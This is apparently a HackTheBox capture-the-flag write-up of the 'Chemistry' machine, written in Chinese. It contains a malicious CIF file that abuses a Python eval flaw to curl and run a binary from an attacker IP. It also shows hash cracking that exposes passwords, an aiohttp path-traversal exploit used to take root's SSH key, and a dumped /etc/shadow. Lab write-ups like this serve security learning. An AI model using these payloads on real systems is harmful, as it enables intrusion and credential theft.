HackTheBox - Machine - Chemistry

Recommand: Let’s Sign Up HTB Academy to get Higher level of knowledge :P

非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P

Chemistry

image

https://www.hackthebox.com/achievement/machine/463126/631

首先從開放的 5000 端口入手,利用 whatweb 工具發現該服務器是基於 Python 的。進入網站後,發現其功能與 CIF 分析有關,於是註冊了一個賬號並登錄,進一步調查可能存在的漏洞。經過搜尋,找到兩篇關於 CIF 庫的安全漏洞資料,得知該庫可能存在利用 eval 函數執行任意 Python 代碼的風險,從而推測出可以利用此漏洞實現遠程代碼執行(RCE)。隨後,根據漏洞信息修改了示例代碼並上傳,成功觸發了 RCE,獲得了系統的 shell 訪問權限。進一步檢查系統內的用戶,發現當前用戶為 app,並且系統中還有一個名為 rosa 的普通用戶。通過查找數據庫中的密碼 hash,利用 sqlitebrowser 工具進行分析,成功提取到多個 hash,並使用 hashcat 破解,最終獲得 rosa 的密碼 “unicorniosrosados”。憑藉該密碼成功使用 SSH 登錄到系統,隨後查看進程,發現一個由 root 運行的服務器。檢查開放的端口後,發現 8080 端口,並通過 SSH 轉發將其映射到本地 8000 端口,以避免與本地的 burp suite 衝突。打開瀏覽器後,發現該頁面使用了 aiohttp 框架,進一步查詢後找到一個 CVE 漏洞,得知當服務器綁定靜態資源文件且設置 follow_symlinks=True 時,可能會存在本地文件包含(LFI)漏洞。於是,檢查網站的靜態文件目錄,發現 /assets/ 路徑,隨即利用該漏洞嘗試訪問,結果成功獲得了 root 用戶的 SSH 密鑰,最終以 root 身份登錄系統,完成了整個攻擊過程。

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
$ sudo nmap -sS -sC -sV -oA save -vv -p- --min-rate 1000 10.129.197.21
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCj5eCYeJYXEGT5pQjRRX4cRr4gHoLUb/riyLfCAQMf40a6IO3BMzwyr3OnfkqZDlr6o9tS69YKDE9ZkWk01vsDM/T1k/m1ooeOaTRhx2Yene9paJnck8Stw4yVWtcq6PPYJA3HxkKeKyAnIVuYBvaPNsm+K5+rsafUEc5FtyEGlEG0YRmyk/NepEFU6qz25S3oqLLgh9Ngz4oGeLudpXOhD4gN6aHnXXUHOXJgXdtY9EgNBfd8paWTnjtloAYi4+ccdMfxO7PcDOxt5SQan1siIkFq/uONyV+nldyS3lLOVUCHD7bXuPemHVWqD2/1pJWf+PRAasCXgcUV+Je4fyNnJwec1yRCbY3qtlBbNjHDJ4p5XmnIkoUm7hWXAquebykLUwj7vaJ/V6L19J4NN8HcBsgcrRlPvRjXz0A2VagJYZV+FVhgdURiIM4ZA7DMzv9RgJCU2tNC4EyvCTAe0rAM2wj0vwYPPEiHL+xXHGSvsoZrjYt1tGHDQvy8fto5RQU=
| 256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLzrl552bgToHASFlKHFsDGrkffR/uYDMLjHOoueMB9HeLRFRvZV5ghoTM3Td9LImvcLsqD84b5n90qy3peebL0=
| 256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIELLgwg7A8Kh8AxmiUXeMe9h/wUnfdoruCJbWci81SSB
5000/tcp open upnp? syn-ack ttl 63
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.3 Python/3.9.5
| Date: Wed, 23 Oct 2024 02:40:44 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 719
| Vary: Cookie
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Chemistry - Home</title>
| <link rel="stylesheet" href="/static/styles.css">
| </head>
| <body>
| <div class="container">
| class="title">Chemistry CIF Analyzer</h1>
| <p>Welcome to the Chemistry CIF Analyzer. This tool allows you to upload a CIF (Crystallographic Information File) and analyze the structural data contained within.</p>
| <div class="buttons">
| <center><a href="/login" class="btn">Login</a>
| href="/register" class="btn">Register</a></center>
| </div>
| </div>
| </body>
| RTSPRequest:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>

22​ 端口沒有密碼,只開放 5000​ 端口,看來是從 5000​ 端口 入手。

5000 - Exploit Chemistry CIF Analyzer Server

使用 whatweb​ 探測下,看到是python的服務器:

image

打開網頁后:

image

從網頁上很明顯的告訴你,他會分析CIF,所以隨便注冊一個賬號,登陸進去后:

image

既然會分析CIF,那麽最有可能就是CIF的某個庫出現了問題,所以谷歌差一下:

image

找到這兩篇:

image

從上面的第一篇得知,他會觸發 eval​ 函數來執行任意的python代碼,也就是說可以使用python代碼來弄一個RCE。

那就下載他的例子改一改:

image

參考第二篇連接改成如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
data_Example
_cell_length_a 10.00000
_cell_length_b 10.00000
_cell_length_c 10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta 90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
_atom_site_label
_atom_site_fract_x
_atom_site_fract_y
_atom_site_fract_z
_atom_site_occupancy


H 0.00000 0.00000 0.00000 1
O 0.50000 0.50000 0.50000 1


_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("curl 10.10.16.16/mane -o /tmp/mane");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "

上傳後,結果出發了RCE:

image

試過如果用 ;​ 隔開的話,會出現問題,懶得用其他命令繞過了,所以我乾脆分三次payload發送:

1
2
3
curl 10.10.16.16/mane -o /tmp/mane
chmod 777 /tmp/mane
/tmp/mane

之後就得到了shell。

Found hash in database, Crack the hash to user

先看一下系統裏面的其他用戶叫什麽名字:

image

當前用戶是 app​,系統内存在另一個普通用戶叫 rosa​,所以去找一下數據庫,看看有沒有保存hash:

image

由於太難看了,所以下載下來,用 sqlitebrowser​ 打開:

image

得到了一堆 hash:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
admin    2861debaf8d99436a10ed6f75a252abf
app 197865e46b878d9e74a0346b6d59886a
rosa 63ed86ee9f624c7b14f1d4f43dc251a5
robert 02fcf7cfc10adc37959fb21f06c6b467
jobert 3dec299e06f7ed187bac06bd3b670ab2
carlos 9ad48828b0955513f7cf0f7f6510c8f8
peter 6845c17d298d95aa942127bdad2ceb9b
victoria c3601ad2286a4293868ec2a4bc606ba3
tania a4aa55e816205dc0389591c9f82f43bb
eusebio 6cad48078d0241cca9a7b322ecd073b3
gelacia 4af70c80b68267012ecdac9a7e916d18
fabian 4e5d71f53fdd2eabdbabb233113b5dc0
axel 9347f9724ca083b17e39555c36fd9007
kristel 6896ba7b11a62cacffbdaded457c6d92
mane 09610961ba9b9d19fdf34ce1d9bb0ea3

直接保存所有的hash,放在 hashcat 破解,

1
$ hashcat.exe hash.txt rockyou.txt -m 0

得到:

image

1
2
3
4
5
9ad48828b0955513f7cf0f7f6510c8f8:carlos123
6845c17d298d95aa942127bdad2ceb9b:peterparker
c3601ad2286a4293868ec2a4bc606ba3:victoria123
09610961ba9b9d19fdf34ce1d9bb0ea3:mane
63ed86ee9f624c7b14f1d4f43dc251a5:unicorniosrosados

其中 rosa​ 這個用戶存在于系統中,剛好也破解到這個用戶的密碼, rosa : unicorniosrosados

Exploit aiohttp to root

得到密碼後,嘗試使用 ssh 登錄:

image

成功了進去,然後就看一下進程 ps -auxwwf​:

image

有一個 root 運行的服務器,所以去看一下本地有什麽端口是開放的,看到有一個 8080 的端口:

image

使用 ssh 轉發一下,爲了避免和我本地系統中的 burp suite​ 相撞,所以我只轉發到本地的 8000 端口:

1
$ ssh -L 8000:127.0.0.1:8080 rosa@10.129.197.21

於是用瀏覽器打開後得到這樣的頁面:

image

burp​ 截取一下后,看到有一個陌生的 aiohttp​ 框架:

image

於是谷歌查了一下之後:

image

看到了這一篇:https://github.com/wizarddos/CVE-2024-23334

image

上面的poc裏面告訴你,儅服務器綁定了靜態資源文件,且 follow_symlinks=True​的時候就有機會有 LFI,

所以直接去網站上找一下靜態文件的挂載目錄:

image

得到 /assets/​ 的路徑,於是嘗試使用那個poc:

image

結果還真可以,由於他是以root運行,所以看一下能不能釣到 root 的ssh key:​​

image

結果可以,然後用 root 的 sshkey 登陸下,就得到了 root :

image

事後回過頭來看一下那個文件:

image

一切都合理了。

Hashes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
root@chemistry:~# cat /etc/shadow
root:$6$51.cQv3bNpiiUadY$0qMYr0nZDIHuPMZuR4e7Lirpje9PwW666fRaPKI8wTaTVBm5fgkaBEojzzjsF.jjH0K0JWi3/poCT6OfBkRpl.:19891:0:99999:7:::
daemon:*:19430:0:99999:7:::
bin:*:19430:0:99999:7:::
sys:*:19430:0:99999:7:::
sync:*:19430:0:99999:7:::
games:*:19430:0:99999:7:::
man:*:19430:0:99999:7:::
lp:*:19430:0:99999:7:::
mail:*:19430:0:99999:7:::
news:*:19430:0:99999:7:::
uucp:*:19430:0:99999:7:::
proxy:*:19430:0:99999:7:::
www-data:*:19430:0:99999:7:::
backup:*:19430:0:99999:7:::
list:*:19430:0:99999:7:::
irc:*:19430:0:99999:7:::
gnats:*:19430:0:99999:7:::
nobody:*:19430:0:99999:7:::
systemd-network:*:19430:0:99999:7:::
systemd-resolve:*:19430:0:99999:7:::
systemd-timesync:*:19430:0:99999:7:::
messagebus:*:19430:0:99999:7:::
syslog:*:19430:0:99999:7:::
_apt:*:19430:0:99999:7:::
tss:*:19430:0:99999:7:::
uuidd:*:19430:0:99999:7:::
tcpdump:*:19430:0:99999:7:::
landscape:*:19430:0:99999:7:::
pollinate:*:19430:0:99999:7:::
fwupd-refresh:*:19430:0:99999:7:::
usbmux:*:19889:0:99999:7:::
sshd:*:19889:0:99999:7:::
systemd-coredump:!!:19889::::::
rosa:$6$giyD4I2YumzG4k6.$0h0Gtrjj13qoK6m0XevedDBanbEz6BStzsLwUtrDm5sVkmnHOSSWF8f6W8B9btTEzyskmA2h/7F7gyvX1fzrT0:19893:0:99999:7:::
lxd:!:19889::::::
app:$6$XUL17hADm4qICsPv$QvCHMOImUTmS1jiaTQ2t6ZJtDAzgkqRhFYOMd0nty3lLwpyxTiyMWRgO/jbySPENinpJlL0z3MK1OVEaG44sQ1:19890:0:99999:7:::
_laurel:!:20007::::::

Thanks

Respect: If my writeup really helps you, Give me a respect to let me know, Thankssssss!

感謝: 製作不易,如果我的writeup真的幫到你了, 給我一個respect,這樣我就會知道,感謝你!

Found Mistakes: If you find something wrong in the page, please feel free email to mane@manesec.com thanksss !!!

發現一些錯誤: 如果你在文章中發現一些錯誤,請發郵件到 mane@manesec.com ,麻煩了!!

Beginner Recommand: If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.

新手非常推薦: 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。

使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程,這對初學者來説是很友好的。 (建議先完成 INTRODUCTION TO ACADEMY)

Join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)